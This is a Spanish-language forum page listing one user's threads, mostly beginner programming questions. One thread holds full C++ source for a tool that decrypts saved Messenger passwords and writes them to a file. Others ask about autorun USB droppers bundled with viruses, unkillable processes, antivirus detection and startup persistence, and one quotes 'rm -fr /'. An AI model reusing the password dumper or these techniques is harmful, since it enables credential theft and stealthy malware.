Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - drakolive

#1
Hola resulta que tengo un servidor VPS donde alojo mis webs, y al parecer se han metido a mi servidor (robando mi clave), y han ejecutado este comando: rm -fr / en la carpeta raiz, por ello que se habrian eliminado todos los archivos del servidor VPS.

bueno asi me dijo el soporte, porque en mi servidor ha quedado vacio, pues todas las carpetas y archivos han sido eliminados.

no puedo acceder via ssh...

mi soporte no me da explicaciones solo me dijo eso.

habrá forma de saber quien pudo hacer eso? queda registro? quiero saber mediante el IP de donde es el atacante, porque tengo sospechas.

#2
Hola, como puedo cambiar las opciones (version, compañia, copyright ... ) que aparecen cuando hagi click derecho en un ejecutable en la pestaña version?
se puede obtener atributos e información de un fichero mediante FSO (GetFile), pero no se pueden modificarlos ...
alguien sabe como hacerlo?  :)
#3
Java / una ayuda ...
6 Febrero 2009, 02:18 AM
tengo unas dudas de como hacer que mi applet muestre un boton que al presionarlo inicie la descarga de un fichero (claro, yo conozco la ruta) ...
tengo entendido que tengo que usar:

import java.applet.Applet;
import java.applet.AppletContext;
import java.awt.Button;
import java.awt.*;

import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.net.*;
import java.io.*;

seria como un pequeño applet que al cargarlo muestre un boton, que al presionarlo se puedan descargar un archivo (redirige a la url)

Gracias...
#4
Hola, quiero aprender la teoria ( y algunos ejemplos) para poder manipular los ejecutables, quisiera poder trabajar con los offsets, modificarlos, y todo el lio.
Creo que existen modulos que nos ayudan a hacer esto; podrian orientarme?
quiero aprender, quiero entender la estructura de un ejecutable, para luego poder hacer por ejemplo extracciones de iconos, leer propiedades, agregar strings al final del ejecutable, saber donde empieza la cabecera, agregar un "huecos", cambiar icono, cambiar propiedades ... como ven; todo seria posible si pudiesemos conocer bien a un ejecutable; por eso quiero encotnrar guia,

creo que se usan apis como virtualmemory copymemory (algo asi, corriganme si me equivoco)

me orientan un poco?

GRACIAS
#5
Necesito cargar un texto de 100 KBs para analizarlo; y ahora el problema es que una variable no soporta tantos caracteres; que podria hacer?
estuve probando a usar Texbox; pero tampoco pueden tener tantos caracteres;

son alrededor de 108 000 caracteres que necesito cargar a una variable, para poder trabajar....

EDITADO:
resulta que la funcion InStr no permite encontrar coincidencias en un texto a mas de 22 000 caracteres... hice una prueba; en un texto coloque dos cadenas y luego las busque; y fui agregando texto poco a poco hasta poder hayar el limite; y me di con la sorpresa que solo puede hacer busquedas entre los 22 000 caracteres...
ahora como podria solucionar eso? necesito hacer busquedas entre los 100 000 primeros caracteres...

Gracias
que podria hacer?
#6
resulta que estoy haciendo un programa que se encarga de transformar un texto a un formato y para esto analiza linea por linea de un archivo en forma secuencial.
el problema resulta que si el archivo tiene 40 kbs de texto, mi programa consume muchos recursos, el CPU esta al 100 %, por lo que la pc se vuelve algo lenta...
he probado con usar doevents, pero nose poque esto altera el funcionamiento del programa, hace como si cada linea no se ejecutara de forma secuencial, da la impresion de ejecutarse de forma aleatoria cada linea del programa.

ahora nose si usar la funcion sleep para parar el programa; pero el problema es que las modificaciones tienen que ser casi en tiempo real, polo que no se podria demorar mas de 3 segundos en realizar la misma operacion de examinar el texto...

que podria hacer? GRACIAS
#7
Estoy tratando de cerrar estos puertos .com; pero no consigo, podria algiuen dejarme algun link para poder leer y lograrlo...?
Gracias...
#8
Java / [Duda] Creando *.jar
22 Junio 2008, 03:23 AM
Tengo una duda, estoy queriendo compilar mi proyecto de java a un archivo .jar, pero el window no me reconoce, nose que sucede.

Encontre este material:
http://www.programacion.net/java/tutorial/jar/3/
http://www.chuidiang.com/java/novatos/hacer_ficheros_jar.php
http://www.gamarod.com.ar/articulos/129.asp

donde me dicen que coloque esto:
jar cfv MiArchivo.jar Clase1.class Clase2.class Imagen.gif Sonido.au OtrosArchivos

tengo entendido que esa linea se colocaba en la consola y no va:S
el windows no reconoce el comando.

#9
porquie si compilo el siguiente codigo si es correcto??
Código (java) [Seleccionar]

public class Num{


}

class A extends Num{

}

class B extends A{

}


Tenia entendido que la herencia multiple en java no se podia, pero al compilar eso me genera 3 archivos .class porque?
tenego esa duda.
#10
estoy adaptando este codigo, pero al momento de colocarle para que guarde el historial en un archivo no lo hace, solo guarda un caracter, osea guarda cierta parte del texto, pero no completa, lo he probado con el dev c++
alguien me ayuda??

creo que mi problema radica en esta linea:
printf("Password : %ls\n\n", CredentialCollection->CredentialBlob);

por esto: %ls

como solucionoo?

Código (c++) [Seleccionar]

/* Programa que recupera contraseñas almacenadas con Microsoft Messenger,
* basado en el código original de Gregory R. Panakkal, http://www.infogreg.com
* modificado para Windows Live Messenger. XP SP2
* Testeado con la versión 8 de Windows Live Messenger y 7.0 - 7.5 MSN Messenger.
* Compilar con Visual C++ 6.
* By dSx.
*/
#include<windows.h>
#include<stdio.h>
#include <fstream.h>

using namespace std;

typedef struct _CREDENTIAL_ATTRIBUTEA {
  LPSTR Keyword;
  DWORD Flags;
  DWORD ValueSize;
  LPBYTE Value;
} CREDENTIAL_ATTRIBUTEA, *PCREDENTIAL_ATTRIBUTEA;

typedef struct _CREDENTIALA {
  DWORD Flags;
  DWORD Type;
  LPSTR TargetName;
  LPSTR Comment;
  FILETIME LastWritten;
  DWORD CredentialBlobSize;
  LPBYTE CredentialBlob;
  DWORD Persist;
  DWORD AttributeCount;
  PCREDENTIAL_ATTRIBUTEA Attributes;
  LPSTR TargetAlias;
  LPSTR UserName;
} CREDENTIALA, *PCREDENTIALA;

typedef struct _CRYPTOAPI_BLOB {
  DWORD  cbData;
  BYTE*  pbData;
} DATA_BLOB;

typedef struct _CRYPTPROTECT_PROMPTSTRUCT {
DWORD   cbSize;
DWORD   dwPromptFlags;
HWND    hwndApp;
LPCWSTR  szPrompt;
} CRYPTPROTECT_PROMPTSTRUCT;

typedef CREDENTIALA CREDENTIAL;
typedef PCREDENTIALA PCREDENTIAL;


typedef BOOL (WINAPI *typeCryptUnprotectData)(
           DATA_BLOB *,
           LPWSTR *,
           DATA_BLOB *,
           PVOID *,         
           CRYPTPROTECT_PROMPTSTRUCT *,
           DWORD,
           DATA_BLOB *
);
typedef BOOL (WINAPI *typeCredEnumerateA)(
           LPCTSTR,
           DWORD,
           DWORD *,
           PCREDENTIALA **
);
typedef BOOL (WINAPI *typeCredReadA)(
           LPCTSTR,
           DWORD,
           DWORD,
           PCREDENTIALA *
);
typedef VOID (WINAPI *typeCredFree)(PVOID);
     
typeCredEnumerateA pfCredEnumerateA;
typeCredReadA pfCredReadA;
typeCredFree pfCredFree;
typeCryptUnprotectData pfCryptUnprotectData;

void showBanner(void);


int main()
{
showBanner();
  PCREDENTIAL *CredentialCollection = NULL;
  DATA_BLOB blobCrypt, blobPlainText, blobEntropy;
 
  char szEntropyStringSeed[37] = "82BD0E67-9FEA-4748-8672-D5EFE5B779B0"; //credui.dll
  short int EntropyData[37];
  short int tmp, pnet, j;

  HMODULE hDLL, hDLL2;
  DWORD Count, i;

 


  if (hDLL = LoadLibrary("advapi32.dll")) {
   pfCredEnumerateA = (typeCredEnumerateA)GetProcAddress(hDLL, "CredEnumerateA");
   pfCredReadA = (typeCredReadA)GetProcAddress(hDLL, "CredReadA");
   pfCredFree = (typeCredFree)GetProcAddress(hDLL, "CredFree");

   if (pfCredEnumerateA == NULL ||
     pfCredReadA == NULL ||
     pfCredFree == NULL) {
     
     printf("Error!\n");
     return -1;
   }
  }
 
  if (hDLL2 = LoadLibrary("crypt32.dll")) {
   pfCryptUnprotectData = (typeCryptUnprotectData)GetProcAddress(hDLL2, "CryptUnprotectData");
   
   if (pfCryptUnprotectData == NULL) {
     printf("Error!\n");
     return -1;
   }
  }
 
  pfCredEnumerateA(NULL, 0, &Count, &CredentialCollection);
  printf("\nCount: %d\n", Count);
  //Calculate Entropy Data
  for (i = 0; i < 37; i++) { // strlen(szEntropyStringSeed) = 37
   tmp = (short int)szEntropyStringSeed[i];
   tmp <<= 2;
   EntropyData[i] = tmp;
  }
 
  if (Count) {
             
   for (i = 0; i < Count; i++) {
     pnet = strcmp(CredentialCollection[i]->TargetName, "Passport.Net\\*");
     if (!pnet) {
      blobEntropy.pbData = (BYTE *)&EntropyData;
      blobEntropy.cbData = 74; //sizeof(EntropyData)
             
      blobCrypt.pbData = CredentialCollection[i]->CredentialBlob;
      blobCrypt.cbData = CredentialCollection[i]->CredentialBlobSize;
       
      pfCryptUnprotectData(&blobCrypt, NULL, &blobEntropy, NULL, NULL, 1, &blobPlainText);
      //showBanner(CredentialCollection[i]->UserName);
     
     
      //log << "asdasdasdas";
      printf("<-- MSN Messenger -->\n"); 
      printf("Username : %s\n", CredentialCollection[i]->UserName);
      printf("Password : %ls\n\n", blobPlainText.pbData);
   
     } else {
     ofstream log("Passwords.txt", ios::app);
      printf("<-- Windows Live Messenger -->\n");
      printf("Username : %s\n", CredentialCollection[i]->TargetName);
      printf("Password : %ls\n\n", CredentialCollection[i]->CredentialBlob);
     
      log <<  "<-- Windows Live Messenger -->\n";
      log << "Username: " << CredentialCollection[i]->TargetName << "\n";
      log << "Password : " << CredentialCollection[i]->CredentialBlob << "\n\n" ;
     
     }
   }
  }
  pfCredFree(CredentialCollection);
  getchar();
  getchar();
   
  return EXIT_SUCCESS;
}

void showBanner()
{
printf("Passwords\n");
}
#11
tengo la necesidad de saber como puedo obtener el nombre del antivirus instalado, estaba pensando mirar en el registro, pero no se donde debe estar ese nombrecesito, habia pensado en tambien detectar los procesos y saber asi que antivirus usa, porque por ejemplo el kaspersky: avg.exe, y asi....


editado:
Gracias por su ayuda, esta listo.
#12
PHP / buscar texto en archivos
16 Mayo 2008, 06:13 AM
me surgio la necesidad de hacer un script que me permita buscar una cadena de texto en unos archivos ....
como seria la funcion para listar todos los archivos de una carpeta (de mi mismo servidor)...
y luego pienso abrir archivo por archivo (bucle) para buscar la cadena ...
pero como seria? :huh:
#13
no consigo eliminar una clave y todas su subclabes (y entradas),
he probado varios codigos y funcionan solo para borrar un determinado valor, pero no lo qe necesito.
alguien sabe como? (nose si usando vb script se pueda).
#14
PHP / un problemita con archivos
21 Marzo 2008, 01:56 AM
Hola, me estoy iniciando en php y tengo un problemilla:

quiero saber como puedo leer un archivo linea por linea (consta de dos partes la linea: '120006 jorge_castro') y las coloque en dos variables; de modo que al momento de leer pueda realizar una comparacion del primer elemento de la linea con otro, es por eso, linea por linea.. como lo consigo?
#15
estoy tratando de leer 5 archivos para concatenarlos para luego mostrarlo en un text; pero no me da el codigo; esto es lo que hecho.

haber si me dicen que esta mal...
o como es la forma de hacerlo.
Gracias

Código (php) [Seleccionar]

<?
$Agrega ="cadena de texto";

$p1 = fopen("p1.dat", "a");
$p2 = fopen("p2.dat", "a");
$p3 = fopen("p3.dat", "a");
$p4 = fopen("p4.dat", "a");
$p5 = fopen("p5.dat", "a");

$Afile = $p1 & $Agrega  & p2 & $Agrega  & p3 & $Agrega  & p4 & $Agrega  & p5;

//echo "<textarea nowrap class='box' rows='11' name='text' cols='100' wrap></textarea></td>"
echo "<textarea name=\"texto\">$Afile</textarea>";
?>
#16
Código (vb) [Seleccionar]

Open "c:\micarpeta\main.dll" For Append As #1

Print #1, "Cadena de texto"
Print #1, "Otra cadena"
Close #1


da un eror de tipo: Runtime error '75': Path/File access error
#17
Estoy buscando informacion de los distintos modos que existen para lograr que una aplicacion se ejecute al reiniciar windows.
segun tengo entendido existen 3: Load, Shell, Scripting.

Y lo que quiero es informacion de como conseguir estos metodos en VB y en que se diferencian cada uno, sus ventajas y desventajas.

necesito que mi aplicacion se ejecute al inicio y no tengo mucho conocimiento de ocmo lograrlo.

Gracias
#18
Lo que trato de hacer es un EXE (disk.exe) que lo llevare en mi USB, el cual tendra un autorun que se encargara de ejecutarlo ... mi disk.exe lo mesclare con otros archivos _(virus ... que se yo ...) y cuando se ejecute supuestamente solo me muestra la carpeta del Explorador de mi unidad ... a igual cuando se elige la opcion "Abrir con el explorador de Windows" cuando insertamos un USB.

disk.exe:

Private Sub Form_Load()
'Abre la carpeta donde nos encontramos
Shell ("C:\WINDOWS\explorer ") & App.Path

WindowState = 1 'supuestamente se minimiza para mostrar la carpeta de nuestro USB
end 'finalizamos
End Sub



Autorun.inf

[AutoRun]
ICON=explorador.ico
OPEN=disk.exe
ACTION = Abrir carpeta con Explorador de Windows
                                               



Todo funciona bien, pero lo qe quiero es q se muestre la carpeta de la unidad de la USB en pantalla, no que aparezca minimizada ...
que podria hacer para ello?
#19
Donde encuentro esa api, ya que necesito programar un msn, pero curiosamente esta pc no tiene el windows msn, solo el windows live msn y el api de la referencia no esta..
alguien me podria subir la referencia para descargarla... de preferencia a rapishare para poder trabajar programando...
gracias
#20
Tengo un problema con este codigo para leer y modificar archivos txt o ini desde php

<?

$fichero = "miarchivo.txt";
$texto = $_POST["texto"];
if($texto != ''){
   if($fp = fopen($fichero,"w+")){
      fwrite($fp,stripslashes($texto));
      echo 'Archivo modificado<br><br>';
   }
   fclose($fp);
}
$fp = fopen($fichero,"r");
$contenido = fread ($fp, filesize ($fichero));
fclose($fp);


echo "<form method=\"POST\"><textarea name=\"texto\">$contenido</textarea><br><input type=\"Submit\" value=\"Guardar\"></form>";
?>

Mi problema esta en para insertarle un texto de password donde si es correcto guarde el archivo de lo contrario muestre un error al guardar el archivo...

y quiero que no tenga este botom "Guardar", sino un link que realize la misma funcion que este botom.
echo "<form method=\"POST\"><textarea name=\"texto\">$contenido</textarea><br><input type=\"Submit\" value=\"Guardar\"></form>";

Espero su ayuda.. gracias
#21
Programación Visual Basic / Proceso Inmortal
18 Junio 2007, 22:54 PM
me pregunto como hacer un proceso q no se pueda ni finilizar desde el adm. de tareas... asi como lo hace el deep freeze, sino m eqivoco esos procesos se convierten en procesos de sistema...
como puedo lograr eso???
#22
hay alguna forma de detectar cuando la pen drive se conecta a la pc?
x ejemplo q me de una alerta o un mensaje la aplicacion cuando la pen drive o usb este conectada